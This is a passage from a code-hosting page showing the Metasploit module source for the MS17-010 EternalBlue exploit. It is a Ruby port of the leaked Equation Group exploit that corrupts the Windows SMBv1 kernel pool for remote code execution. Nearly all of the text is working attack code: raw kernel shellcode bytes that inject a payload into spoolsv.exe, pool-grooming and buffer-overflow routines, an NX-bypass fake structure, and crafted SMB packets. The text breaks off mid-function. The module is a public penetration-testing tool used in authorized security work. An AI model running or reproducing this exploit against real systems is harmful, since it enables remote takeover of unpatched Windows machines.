Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/smb/ms17_010_eternalblue.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'ruby_smb'6require 'ruby_smb/smb1/packet'7require 'rubyntlm'8require 'windows_error'910class MetasploitModule < Msf::Exploit::Remote11Rank = AverageRanking1213include Msf::Exploit::Remote::CheckModule14include Msf::Exploit::Deprecated15include Msf::Exploit::Remote::Tcp1617moved_from 'exploit/windows/smb/ms17_010_eternalblue_win8'1819def initialize(info = {})20super(21update_info(22info,23'Name' => 'MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption',24'Description' => %q{25This module is a port of the Equation Group ETERNALBLUE exploit, part of26the FuzzBunch toolkit released by Shadow Brokers.2728There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size29is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a30DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow31is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later32completed in srvnet!SrvNetWskReceiveComplete.3334This exploit, like the original may not trigger 100% of the time, and should be35run continuously until triggered. It seems like the pool will get hot streaks36and need a cool down period before the shells rain in again.3738The module will attempt to use Anonymous login, by default, to authenticate to perform the39exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use40those instead.4142On some systems, this module may cause system instability and crashes, such as a BSOD or43a reboot. This may be more likely with some payloads.44},4546'Author' =>47[48# Original Exploit49'Equation Group', # OG research and exploit50'Shadow Brokers', # Hack and dump51'sleepya', # Research and PoC5253# Original win7 module54'Sean Dillon <[email protected]>', # @zerosum0x055'Dylan Davis <[email protected]>', # @jennamagius56'thelightcosine', # RubySMB refactor and Fallback Credential mode5758# Original win8 module59'wvu', # Babby's first external module60'agalway-r7', # External python module to internal ruby module (sorry wvu)61'cdelafuente-r7', # ruby_smb wizard62'cdelafuente-r7', # kernel debugging wizard6364# Combining the two65'agalway-r7' # am good at copy pasta66],67'License' => MSF_LICENSE,68'References' =>69[70# Win 771['MSB', 'MS17-010'],72['CVE', '2017-0143'],73['CVE', '2017-0144'],74['CVE', '2017-0145'],75['CVE', '2017-0146'],76['CVE', '2017-0147'],77['CVE', '2017-0148'],78['URL', 'https://github.com/RiskSense-Ops/MS17-010'],79['URL', 'https://risksense.com/wp-content/uploads/2018/05/White-Paper_Eternal-Blue.pdf'],8081# Win 882['EDB', '42030'],83],84'DefaultOptions' =>85{86'CheckModule' => 'auxiliary/scanner/smb/smb_ms17_010',87'EXITFUNC' => 'thread',88'WfsDelay' => 589},90'Privileged' => true,91'Platform' => 'win',92'Arch' => [ARCH_X64],93'Payload' => {94'Space' => 2000, # this can be more, needs to be recalculated95'EncoderType' => Msf::Encoder::Type::Raw,96'DisableNops' => true97},98'Targets' =>99[100[ 'Automatic Target', {} ],101[102'Windows 7',103{104'os_patterns' => ['Windows 7']105}106],107[108'Windows Embedded Standard 7',109{110'os_patterns' => ['Windows Embedded Standard 7']111}112],113[114'Windows Server 2008 R2',115{116'os_patterns' => ['Windows Server 2008 R2']117}118],119[120'Windows 8',121{122'os_patterns' => ['Windows 8']123}124],125[126'Windows 8.1',127{128'os_patterns' => ['Windows 8.1']129}130],131[132'Windows Server 2012',133{134'os_patterns' => ['Windows Server 2012']135}136],137[138'Windows 10 Pro',139{140'os_patterns' => ['Windows Pro Build']141}142],143[144'Windows 10 Enterprise Evaluation',145{146'os_patterns' => ['Windows 10 Enterprise Evaluation Build']147}148]149],150'DefaultTarget' => 0,151'Notes' =>152{153'AKA' => ['ETERNALBLUE']154},155'DisclosureDate' => '2017-03-14'156)157)158159register_options(160[161Opt::RHOSTS,162Opt::RPORT(445),163OptString.new('SMBUser', [false, '(Optional) The username to authenticate as', ''], fallbacks: ['USERNAME']),164OptString.new('SMBPass', [false, '(Optional) The password for the specified username', ''], fallbacks: ['PASSWORD']),165OptString.new('SMBDomain', [166false,167'(Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7,' \168' Windows Embedded Standard 7 target machines.',169''170]),171OptBool.new('VERIFY_TARGET', [172true,173'Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded' \174' Standard 7 target machines.',175true176]),177OptBool.new('VERIFY_ARCH', [178true,179'Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7,' \180' Windows Embedded Standard 7 target machines.',181true182])183]184)185register_advanced_options(186[187OptString.new('ProcessName', [true, 'Process to inject payload into.', 'spoolsv.exe']),188OptInt.new('GroomAllocations', [true, 'Initial number of times to groom the kernel pool.', 12]),189OptInt.new('MaxExploitAttempts', [190true,191'The number of times to retry the exploit. Useful as EternalBlue can sometimes require multiple attempts to' \192' get a successful execution.',1933194]),195OptInt.new('GroomDelta', [196true,197'The amount to increase the groom count by per try. Only affects Windows Server 2008 R2, Windows 7, Windows' \198' Embedded Standard 7 target machines.',1995200])201]202)203end204205def generate_process_hash(process)206[Rex::Text.ror13_hash(process + "\x00")].pack('l<')207end208209# ring3 = user mode encoded payload210# proc_name = process to inject APC into211def make_kernel_user_payload(ring3, proc_name)212proc_hash = generate_process_hash(proc_name)213214sc = (215"\x55\xe8\x2e\x00\x00\x00\xb9\x82\x00\x00\xc0\x0f\x32\x4c\x8d" \216"\x0d\x34\x00\x00\x00\x44\x39\xc8\x74\x19\x39\x45\x00\x74\x0a" \217"\x89\x55\x04\x89\x45\x00\xc6\x45\xf8\x00\x49\x91\x50\x5a\x48" \218"\xc1\xea\x20\x0f\x30\x5d\xc3\x48\x8d\x2d\x00\x10\x00\x00\x48" \219"\xc1\xed\x0c\x48\xc1\xe5\x0c\x48\x83\xed\x70\xc3\x0f\x01\xf8" \220"\x65\x48\x89\x24\x25\x10\x00\x00\x00\x65\x48\x8b\x24\x25\xa8" \221"\x01\x00\x00\x6a\x2b\x65\xff\x34\x25\x10\x00\x00\x00\x50\x50" \222"\x55\xe8\xc5\xff\xff\xff\x48\x8b\x45\x00\x48\x83\xc0\x1f\x48" \223"\x89\x44\x24\x10\x51\x52\x41\x50\x41\x51\x41\x52\x41\x53\x31" \224"\xc0\xb2\x01\xf0\x0f\xb0\x55\xf8\x75\x14\xb9\x82\x00\x00\xc0" \225"\x8b\x45\x00\x8b\x55\x04\x0f\x30\xfb\xe8\x0e\x00\x00\x00\xfa" \226"\x41\x5b\x41\x5a\x41\x59\x41\x58\x5a\x59\x5d\x58\xc3\x41\x57" \227"\x41\x56\x57\x56\x53\x50\x4c\x8b\x7d\x00\x49\xc1\xef\x0c\x49" \228"\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x66\x41\x81\x3f\x4d" \229"\x5a\x75\xf1\x4c\x89\x7d\x08\x65\x4c\x8b\x34\x25\x88\x01\x00" \230"\x00\xbf\x78\x7c\xf4\xdb\xe8\x01\x01\x00\x00\x48\x91\xbf\x3f" \231"\x5f\x64\x77\xe8\xfc\x00\x00\x00\x8b\x40\x03\x89\xc3\x3d\x00" \232"\x04\x00\x00\x72\x03\x83\xc0\x10\x48\x8d\x50\x28\x4c\x8d\x04" \233"\x11\x4d\x89\xc1\x4d\x8b\x09\x4d\x39\xc8\x0f\x84\xc6\x00\x00" \234"\x00\x4c\x89\xc8\x4c\x29\xf0\x48\x3d\x00\x07\x00\x00\x77\xe6" \235"\x4d\x29\xce\xbf\xe1\x14\x01\x17\xe8\xbb\x00\x00\x00\x8b\x78" \236"\x03\x83\xc7\x08\x48\x8d\x34\x19\xe8\xf4\x00\x00\x00\x3d" +237proc_hash + "\x74\x10\x3d" + proc_hash + "\x74\x09\x48\x8b\x0c" \238"\x39\x48\x29\xf9\xeb\xe0\xbf\x48\xb8\x18\xb8\xe8\x84\x00\x00" \239"\x00\x48\x89\x45\xf0\x48\x8d\x34\x11\x48\x89\xf3\x48\x8b\x5b" \240"\x08\x48\x39\xde\x74\xf7\x4a\x8d\x14\x33\xbf\x3e\x4c\xf8\xce" \241"\xe8\x69\x00\x00\x00\x8b\x40\x03\x48\x83\x7c\x02\xf8\x00\x74" \242"\xde\x48\x8d\x4d\x10\x4d\x31\xc0\x4c\x8d\x0d\xa9\x00\x00\x00" \243"\x55\x6a\x01\x55\x41\x50\x48\x83\xec\x20\xbf\xc4\x5c\x19\x6d" \244"\xe8\x35\x00\x00\x00\x48\x8d\x4d\x10\x4d\x31\xc9\xbf\x34\x46" \245"\xcc\xaf\xe8\x24\x00\x00\x00\x48\x83\xc4\x40\x85\xc0\x74\xa3" \246"\x48\x8b\x45\x20\x80\x78\x1a\x01\x74\x09\x48\x89\x00\x48\x89" \247"\x40\x08\xeb\x90\x58\x5b\x5e\x5f\x41\x5e\x41\x5f\xc3\xe8\x02" \248"\x00\x00\x00\xff\xe0\x53\x51\x56\x41\x8b\x47\x3c\x41\x8b\x84" \249"\x07\x88\x00\x00\x00\x4c\x01\xf8\x50\x8b\x48\x18\x8b\x58\x20" \250"\x4c\x01\xfb\xff\xc9\x8b\x34\x8b\x4c\x01\xfe\xe8\x1f\x00\x00" \251"\x00\x39\xf8\x75\xef\x58\x8b\x58\x24\x4c\x01\xfb\x66\x8b\x0c" \252"\x4b\x8b\x58\x1c\x4c\x01\xfb\x8b\x04\x8b\x4c\x01\xf8\x5e\x59" \253"\x5b\xc3\x52\x31\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x85\xc0\x75" \254"\xf6\x92\x5a\xc3\x55\x53\x57\x56\x41\x57\x49\x8b\x28\x4c\x8b" \255"\x7d\x08\x52\x5e\x4c\x89\xcb\x31\xc0\x44\x0f\x22\xc0\x48\x89" \256"\x02\x89\xc1\x48\xf7\xd1\x49\x89\xc0\xb0\x40\x50\xc1\xe0\x06" \257"\x50\x49\x89\x01\x48\x83\xec\x20\xbf\xea\x99\x6e\x57\xe8\x65" \258"\xff\xff\xff\x48\x83\xc4\x30\x85\xc0\x75\x45\x48\x8b\x3e" \259"\x48\x8d\x35\x6a\x00\x00\x00" \260"\xb9#{[ ring3.length ].pack('s')}\x00\x00" \261"\xf3\xa4\x48\x8b" \262"\x45\xf0\x48\x8b\x40\x18\x48\x8b\x40\x20\x48\x8b\x00\x66\x83" \263"\x78\x48\x18\x75\xf6\x48\x8b\x50\x50\x81\x7a\x0c\x33\x00\x32" \264"\x00\x75\xe9\x4c\x8b\x78\x20\xbf\x5e\x51\x5e\x83\xe8\x22\xff" \265"\xff\xff\x48\x89\x03\x31\xc9\x88\x4d\xf8\xb1\x01\x44\x0f\x22" \266"\xc1\x41\x5f\x5e\x5f\x5b\x5d\xc3\x48\x92\x31\xc9\x51\x51\x49" \267"\x89\xc9\x4c\x8d\x05\x0d\x00\x00\x00\x89\xca\x48\x83\xec\x20" \268"\xff\xd0\x48\x83\xc4\x30\xc3"269)270sc << ring3271sc272end273274def exploit275check_code = check276277if check_code.code == 'vulnerable'278print_good('The target is vulnerable.')279else280print_bad('The target is not vulnerable.')281end282283if check_code.details[:arch] == ARCH_X86284fail_with(Failure::NoTarget, 'This module only supports x64 (64-bit) targets')285end286287if datastore['ForceExploit'] == 'true' || check_code.code == 'vulnerable'288print_status('Forcing Exploit') if datastore['ForceExploit'] == 'true'289290os = Recog::Nizer.match('smb.native_os', check_code.details[:os])291292if os.nil?293if target.name == 'Automatic Target'294targs = ''295targets[1..-1].each { |t| targs += "#{t.name}\n" }296297msg = "Could not determine victim OS. If the victim OS is one of the below options:\n"\298"#{targs}"\299"\nThen it can be selected manually with 'set TARGET <OS_NAME>'"300fail_with(Failure::NoTarget, msg)301else302os = target.name303end304else305os = os['os.product']306end307308if os.start_with?('Windows 8', 'Windows 10', 'Windows Server 2012', 'Windows 2012')309extend(EternalBlueWin8)310else311extend(EternalBlueWin7)312end313314exploit_eb315end316end317end318319module EternalBlueWin8320MAX_SHELLCODE_SIZE = 3712321322# debug mode affects HAL heap. The 0xffffffffffd04000 address should be useable no matter what debug mode is.323# The 0xffffffffffd00000 address should be useable when debug mode is not enabled324# The 0xffffffffffd01000 address should be useable when debug mode is enabled325TARGET_HAL_HEAP_ADDR = 0xffffffffffd04000 # for put fake struct and shellcode326327# because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000328NTFEA_SIZE = 0x9000329330NTLM_FLAGS = Net::NTLM::FLAGS[:KEY56] +331Net::NTLM::FLAGS[:KEY128] +332Net::NTLM::FLAGS[:TARGET_INFO] +333Net::NTLM::FLAGS[:NTLM2_KEY] +334Net::NTLM::FLAGS[:NTLM] +335Net::NTLM::FLAGS[:REQUEST_TARGET] +336Net::NTLM::FLAGS[:UNICODE]337338NTFEA_9000 = (([0, 0, 0].pack('CCS<') + "\x00") * 0x260 + # with these fea, ntfea size is 0x1c80339[0, 0, 0x735c].pack('CCS<') + "\x00" * 0x735d + # 0x8fe8 - 0x1c80 - 0xc = 0x735c340[0, 0, 0x8147].pack('CCS<') + "\x00" * 0x8148) # overflow to SRVNET_BUFFER_HDR341342NTLM_CRYPT = Rex::Proto::NTLM::Crypt343344# fake struct for SrvNetWskTransformedReceiveComplete() and SrvNetCommonReceiveHandler()345# x64: fake struct is at ffffffff ffd00e00346# offset 0x50: KSPIN_LOCK347# offset 0x58: LIST_ENTRY must be valid address. cannot be NULL.348# offset 0x110: array of pointer to function349# offset 0x13c: set to 3 (DWORD) for invoking ptr to function350# some useful offset351# offset 0x120: arg1 when invoking ptr to function352# offset 0x128: arg2 when invoking ptr to function353#354# code path to get code exception after this struct is controlled355# SrvNetWskTransformedReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr356def fake_recv_struct357struct = "\x00" * 80358struct << [0, TARGET_HAL_HEAP_ADDR + 0x58].pack('QQ<')359struct << [TARGET_HAL_HEAP_ADDR + 0x58, 0].pack('QQ<') # offset 0x60360struct << ("\x00" * 16) * 10361struct << [TARGET_HAL_HEAP_ADDR + 0x170, 0].pack('QQ<') # offset 0x110: fn_ptr array362struct << [(0x8150 ^ 0xffffffffffffffff) + 1, 0].pack('QQ<') # set arg1 to -0x8150363struct << [0, 0, 3].pack('QII<') # offset 0x130364struct << ("\x00" * 16) * 3365struct << [0, TARGET_HAL_HEAP_ADDR + 0x180].pack('QQ<') # shellcode address366struct367end368369def custom_smb_client370sock = Rex::Socket::Tcp.create(371'PeerHost' => rhost,372'PeerPort' => rport,373'Proxies' => proxies,374'Context' => {375'Msf' => framework,376'MsfExploit' => self377}378)379380dispatcher = RubySMB::Dispatcher::Socket.new(sock)381382client = CustomSessionSetupPacketRubySMBClient.new(dispatcher, smb1: true, smb2: false, smb3: false,383username: smb_user, domain: smb_domain, password: smb_pass,384ntlm_flags: NTLM_FLAGS)385386return client, sock387end388389def smb1_connect_ipc(negotiate_only: false, session_setup_packet: nil, session_setup_auth_packet: nil)390begin391client, sock = custom_smb_client392393if negotiate_only394client.negotiate395return client, nil, sock396else397response_code = client.login(ntlm_flags: NTLM_FLAGS,398session_setup_packet: session_setup_packet,399session_setup_auth_packet: session_setup_auth_packet)400401unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS402raise RubySMB::Error::UnexpectedStatusCode, "Error with login: #{response_code}"403end404405tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$")406end407408return client, tree, sock409rescue StandardError => e410print_error("Could not make SMBv1 connection. #{e.class} error raised with message '#{e.message}'")411elog('Could not make SMBv1 connection', error: e)412413# for an as of yet undetermined reason, a connection can sometimes be created after an error during an anonymous414# login.415if client416client.disconnect!417end418419raise e420end421end422423def send_trans2_second(conn, tid, pid, data, displacement)424pkt = RubySMB::SMB1::Packet::Trans2::RequestSecondary.new425pkt.smb_header.tid = tid426pkt.smb_header.pid_low = pid427428pkt.parameter_block.total_parameter_count = 0429pkt.parameter_block.total_data_count = data.length430431fixed_offset = 32 + 3 + 18432pkt.data_block.pad1 = ''433434pkt.parameter_block.parameter_count = 0435pkt.parameter_block.parameter_offset = 0436437if !data.empty?438pad_len = (4 - fixed_offset % 4) % 4439440if pad_len == 0441pkt.data_block.pad1 = ''442elsif pad_len == 3443pkt.data_block.pad1 = "\x00" * 2444pkt.data_block.pad1 = "\x00"445else446pkt.data_block.pad1 = "\x00" * pad_len447end448else449pkt.data_block.pad1 = ''450pad_len = 0451end452453pkt.parameter_block.data_count = data.length454pkt.parameter_block.data_offset = fixed_offset + pad_len455pkt.parameter_block.data_displacement = displacement456457pkt.data_block.trans2_parameters = ''458pkt.data_block.trans2_data = data459460pkt.smb_header.flags2.extended_security = 1461pkt.smb_header.flags2.paging_io = 0462pkt.smb_header.flags2.unicode = 0463464pkt.smb_header.uid = BinData::Bit16le.read(BinData::Bit16.new(2048).to_binary_s)465466conn.send_packet(pkt)467end468469# connect to target and send a large nbss size with data 0x80 bytes470# this method is for allocating big nonpaged pool on target471def create_connection_with_big_smb_first_80(for_nx: false)472sock = connect(false)473pkt = "\x00".b + "\x00".b + [0x8100].pack('S>')474# There is no need to be SMB2 because we want the target free the corrupted buffer.475# Also this is invalid SMB2 message.476# I believe NSA exploit use SMB2 for hiding alert from IDS477# pkt += '\xfeSMB' # smb2478# it can be anything even it is invalid479pkt += "\x01\x02\x03\x04"480481if for_nx482# MUST set no delay because 1 byte MUST be sent immediately483sock.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1)484pkt += "\x00" * 0x7b # another byte will be sent later to disabling NX485else486pkt += "\x00" * 0x7c487end488489sock.send(pkt, 0)490sock491end492493def send_big_trans2(conn, tid, pid, setup, data, param)494first_data_fragment_size = data.length % 4096495496pkt = RubySMB::SMB1::Packet::NtTrans::Request.new497pkt.smb_header.tid = tid498499pkt.smb_header.pid_low = pid500501command = [setup].pack('S<')502503pkt.parameter_block.max_setup_count = 1504pkt.parameter_block.max_parameter_count = param.length505pkt.parameter_block.max_data_count = 0506507pkt.parameter_block.setup << 0x0000508pkt.parameter_block.total_parameter_count = param.length509pkt.parameter_block.total_data_count = data.length510511fixed_offset = 32 + 3 + 38 + command.length512if !param.empty?513pad_len = (4 - fixed_offset % 4) % 4514pad_bytes = "\x00" * pad_len515pkt.data_block.pad1 = pad_bytes516else517pkt.data_block.pad1 = ''518pad_len = 0519end520521pkt.parameter_block.parameter_count = param.length522pkt.parameter_block.parameter_offset = fixed_offset + pad_len523524if !data.empty?525pad_len = (4 - (fixed_offset + pad_len + param.length) % 4) % 4526pkt.data_block.pad2 = "\x00" * pad_len527else528pkt.data_block.pad2 = ''529pad_len = 0530end531532pkt.parameter_block.data_count = first_data_fragment_size533pkt.parameter_block.data_offset = pkt.parameter_block.parameter_offset + param.length + pad_len534535pkt.data_block.trans2_parameters = param536pkt.data_block.trans2_data = data.first(first_data_fragment_size)537538pkt.smb_header.flags2.paging_io = 0539pkt.smb_header.flags2.extended_security = 1540541begin542recv_pkt = RubySMB::SMB1::Packet::NtTrans::Response.read(conn.send_recv(pkt))543rescue RubySMB::Error::CommunicationError => e544print_status('CommunicationError encountered. Have you set SMBUser/SMBPass?')545raise e546end547548if recv_pkt.status_code.value == 0549print_good('got good NT Trans response')550else551print_error("got bad NT Trans response: #{recv_pkt.status_code.name}\n#{recv_pkt.status_code.description}")552return nil553end554555# Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data556size_of_data_to_be_sent = first_data_fragment_size557while size_of_data_to_be_sent < data.length558send_size = [4096, data.length - size_of_data_to_be_sent].min559if data.length - size_of_data_to_be_sent <= 4096560break561end562563send_trans2_second(conn, tid, pid, data[size_of_data_to_be_sent...(size_of_data_to_be_sent + send_size)],564size_of_data_to_be_sent)565size_of_data_to_be_sent += send_size566end567568size_of_data_to_be_sent569end570571def _exploit(fea_list, shellcode, num_groom_conn, username, password)572session_setup_packet = default_session_setup_request573session_setup_auth_packet = default_session_setup_request574575conn, tree, sock = smb1_connect_ipc(session_setup_packet: session_setup_packet,576session_setup_auth_packet: session_setup_auth_packet)577578pid = conn.pid579os = conn.peer_native_os580print_status("Target OS: #{os}")581582if os.start_with?('Windows 10')583build = os.split.last.to_i584if build >= 14393 # version 1607585print_status('This exploit does not support this build')586return587end588elsif !(os.start_with?('Windows 8') || os.start_with?('Windows Server 2012'))589print_status('This exploit does not support this target:')590return591end592593# The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand.594# Send TRANS2_OPEN2 (0) with special fea_list to a target exce595progress = send_big_trans2(conn, tree.id, pid, 0, fea_list, "\x00" * 30)596if progress.nil?597conn.disconnect!598return599end600601fea_list_nx = generate_fea_list_nx602603session_setup_packet = default_session_setup_request604session_setup_packet.parameter_block.vc_number = 1605606session_setup_auth_packet = default_session_setup_request607session_setup_auth_packet.parameter_block.max_mpx_count = 2608session_setup_auth_packet.parameter_block.vc_number = 1609610nx_conn, nx_tree, nx_sock = smb1_connect_ipc(session_setup_packet: session_setup_packet,611session_setup_auth_packet: session_setup_auth_packet)612613# Another TRANS2_OPEN2 (0) with special fea_list for disabling NX614nx_progress = send_big_trans2(nx_conn, nx_tree.id, pid, 0, fea_list_nx, "\x00" * 30)615if nx_progress.nil?616conn.disconnect!617nx_conn.disconnect!618return619end620621# create some big buffer at servereternal622# this buffer MUST NOT be big enough for overflown buffer623alloc_conn, alloc_sock = create_session_alloc_non_paged(NTFEA_SIZE - 0x2010, username, password, pid)624if alloc_conn.nil?625return626end627628# groom nonpaged pool629# when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one630srvnet_conn = []631num_groom_conn.times { srvnet_conn.append(create_connection_with_big_smb_first_80(for_nx: true)) }632633# create buffer size NTFEA_SIZE at server634# this buffer will be replaced by overflown buffer635hole_conn, hole_sock = create_session_alloc_non_paged(NTFEA_SIZE - 0x10, username, password, pid)636if hole_conn.nil?637return638end639640# disconnect allocConn to free buffer641# expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer642alloc_sock.close643644# hope one of srvnet_conn is next to holeConn6455.times { srvnet_conn.append(create_connection_with_big_smb_first_80(for_nx: true)) }646647# remove holeConn to create hole for fea buffer648hole_sock.close649650# send last fragment to create buffer in hole and OOB write one of srvnet_conn struct header651# first trigger, overwrite srvnet buffer struct for disabling NX652send_trans2_second(nx_conn, nx_tree.id, pid, fea_list_nx[nx_progress, fea_list_nx.length], nx_progress)653654recv_pkt = RubySMB::SMB1::Packet::Trans2::Response.read(nx_conn.recv_packet)655if recv_pkt.status_code.value == 0xc000000d656print_good('good response status for nx: INVALID_PARAMETER')657else658print_error("bad response status for nx: #{recv_pkt.status_code.value}")659end660661# one of srvnet_conn struct header should be modified662# send '\x00' to disable nx663srvnet_conn.each { |sk| sk.send("\x00", 0) }664665# send last fragment to create buffer in hole and OOB write one of srvnet_conn struct header666# second trigger, place fake struct and shellcode667send_trans2_second(conn, tree.id, pid, fea_list[progress, fea_list.length], progress)668recv_pkt = RubySMB::SMB1::Packet::Trans2::Response.read(conn.recv_packet)669if recv_pkt.status_code.value == 0xc000000d670print_good('good response status for nx: INVALID_PARAMETER')671else672print_error("bad response status for nx: #{recv_pkt.status_code.value}")673end674675# one of srvnet_conn struct header should be modified676# a corrupted buffer will write recv data in designed memory address677srvnet_conn.each { |sk| sk.send(fake_recv_struct + shellcode, 0) }678679# execute shellcode, at this point the shellcode should be located at ffffffff`ffd04180680srvnet_conn.each(&:close)681682nx_tree.disconnect!683nx_conn.disconnect!684685tree.disconnect!686conn.disconnect!687end688689def create_fea_list(sc_size)690fea_list = [0x10000].pack('I<')691fea_list += NTFEA_9000692fake_srv_net_buf = create_fake_srv_net_buffer(sc_size)693fea_list += [0, 0, fake_srv_net_buf.length - 1].pack('CCS<') + fake_srv_net_buf # -1 because first '\x00' is for name694# stop copying by invalid flag (can be any value except 0 and 0x80)695fea_list += [0x12, 0x34, 0x5678].pack('CCS<')696return fea_list697end698699def create_fake_srv_net_buffer(sc_size)700# 0x180 is size of fakeSrvNetBufferX64701total_recv_size = 0x80 + 0x180 + sc_size702fake_srv_net_buffer_x64 = "\x00" * 16703fake_srv_net_buffer_x64 += [0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR].pack('SSIQ<') # flag, _, _, pNetRawBuffer704fake_srv_net_buffer_x64 += [0, 0x82e8, 0].pack('QII<') # _, thisNonPagedPoolSize, _705fake_srv_net_buffer_x64 += "\x00" * 16706fake_srv_net_buffer_x64 += [0, total_recv_size].pack('QQ<') # offset 0x40707fake_srv_net_buffer_x64 += [TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR].pack('Q<Q<') # pmdl2, pointer to fake struct708fake_srv_net_buffer_x64 += [0, 0].pack('QQ<')709fake_srv_net_buffer_x64 += "\x00" * 16710fake_srv_net_buffer_x64 += "\x00" * 16711fake_srv_net_buffer_x64 += [0, 0x60, 0x1004, 0].pack('QSSI<') # MDL.Next, MDL.Size, MDL.MdlFlags712fake_srv_net_buffer_x64 += [0, TARGET_HAL_HEAP_ADDR - 0x80].pack('QQ<') # MDL.Process, MDL.MappedSystemVa713714return fake_srv_net_buffer_x64715end716717def exploit_eb718num_groom_conn = datastore['GroomAllocations'].to_i719smbuser = datastore['SMBUser'].present? ? datastore['SMBUser'] : ''720smbpass = datastore['SMBPass'].present? ? datastore['SMBPass'] : ''721722sc = make_kernel_user_payload(payload.encoded, datastore['ProcessName'])723724if sc.length > MAX_SHELLCODE_SIZE725print_error("Shellcode too long. The place that this exploit put a shellcode is limited to #{MAX_SHELLCODE_SIZE} bytes.")726return727end728729fea_list = create_fea_list(sc.length)730731print_status("shellcode size: #{sc.length}")732print_status("numGroomConn: #{num_groom_conn}")733734begin735_exploit(fea_list, sc, num_groom_conn, smbuser, smbpass)736rescue StandardError => e737print_error("Exploit failed with the following error: #{e.message}")738elog('Error encountered with eternalblue_win8', error: e)739return false740end741end742743def create_session_alloc_non_paged(size, username, password, pid)744# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16745sess_pkt = SessionSetupSMB1RequestWithPoorlyFormedDataBlock.new746747anon_conn, _anon_tree, anon_sock = smb1_connect_ipc(negotiate_only: true)748749sess_pkt.smb_header.pid_low = pid750751if size >= 65535 # 0xffff752sess_pkt.data_block.security_blob = [(size / 2).floor].pack('S<') + "\x00" * 20753sess_pkt.smb_header.flags2.unicode = 0754else755sess_pkt.data_block.security_blob = [size].pack('S<') + "\x00" * 20756sess_pkt.smb_header.flags2.unicode = 1757end758759sess_pkt.smb_header.flags2.extended_security = 0760sess_pkt.smb_header.flags2.nt_status = 1761sess_pkt.smb_header.flags2.paging_io = 0762763sess_pkt.parameter_block.max_buffer_size = 61440 # can be any value greater than response size764sess_pkt.parameter_block.max_mpx_count = 2 # can by any value765sess_pkt.parameter_block.vc_number = 2 # any non-zero766sess_pkt.parameter_block.session_key = 0767sess_pkt.parameter_block.security_blob_length = 0 # this is OEMPasswordLen field in another format. 0 for NULL session768769sess_pkt.parameter_block.capabilities.each_pair do |k|770if k == :nt_status || k == :extended_security771sess_pkt.parameter_block.capabilities[k] = 1772else773sess_pkt.parameter_block.capabilities[k] = 0774end775end776777recv_pkt = RubySMB::SMB1::Packet::SessionSetupResponse.read(anon_conn.send_recv(sess_pkt))778779if recv_pkt.status_code.value == 0780print_good('SMB1 session setup allocate nonpaged pool success')781return anon_conn, anon_sock782end783784anon_conn.disconnect!785786unless username.empty?787# Try login with valid user because anonymous user might get access denied on Windows Server 2012788# Note: If target allows only NTLMv2 authentication, the login will always fail.789# support only ascii because I am lazy to implement Unicode (need pad for alignment and converting username to utf-16)790req_size = (size / 2).floor791792neg_pkt = RubySMB::SMB1::Packet::NegotiateRequest.new793neg_pkt.smb_header.flags2.extended_security = 0794neg_pkt.add_dialect('NT LM 0.12')795796client, sock = custom_smb_client797798raw_response = client.send_recv(neg_pkt)799response_packet = client.negotiate_response(raw_response)800801# parse_negotiate_response802client.smb1 = true803client.smb2 = false804client.smb3 = false805client.signing_required = response_packet.parameter_block.security_mode.security_signatures_required == 1806client.dialect = response_packet.negotiated_dialect.to_s807client.server_max_buffer_size = response_packet.parameter_block.max_buffer_size - 260808client.negotiated_smb_version = 1809client.session_encrypt_data = false810client.server_guid = response_packet.data_block[:server_guid]811812server_challenge = response_packet.data_block.challenge813814sess_pkt.smb_header.pid_low = pid815sess_pkt.smb_header.flags2.unicode = 0816817pwd_unicode = NTLM_CRYPT.ntlm_md4(password, server_challenge)818819sess_pkt.parameter_block.reserved = pwd_unicode.length820sess_pkt.data_block.security_blob = [req_size + pwd_unicode.length + username.length].pack('S<') + pwd_unicode + username + ("\x00" * 16)821822recv_pkt = RubySMB::SMB1::Packet::SessionSetupResponse.read(client.send_recv(sess_pkt))823824if recv_pkt.status_code.value == 0825print_good('SMB1 session setup allocate nonpaged pool success')826return client, sock827end828client.disconnect!829end830831print_error("SMB1 session setup allocate nonpaged pool failed: #{recv_pkt.status_code.name}\n#{recv_pkt.status_code.description}")832return nil833end834835def generate_fea_list_nx836# fea_list for disabling NX is possible because we just want to change only MDL.MappedSystemVa837# PTE of 0xffffffffffd00000 is at 0xfffff6ffffffe800838# NX bit is at PTE_ADDR+7839# MappedSystemVa = PTE_ADDR+7 - 0x7f840shellcode_page_addr = (TARGET_HAL_HEAP_ADDR + 0x400) & 0xfffffffffffff000841pte_addr = 0xfffff6ffffffe800 + 8 * ((shellcode_page_addr - 0xffffffffffd00000) >> 12)842fake_srv_net_buffer_x64nx = "\x00" * 16843fake_srv_net_buffer_x64nx += [0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR].pack('SSIQ<')844fake_srv_net_buffer_x64nx += "\x00" * 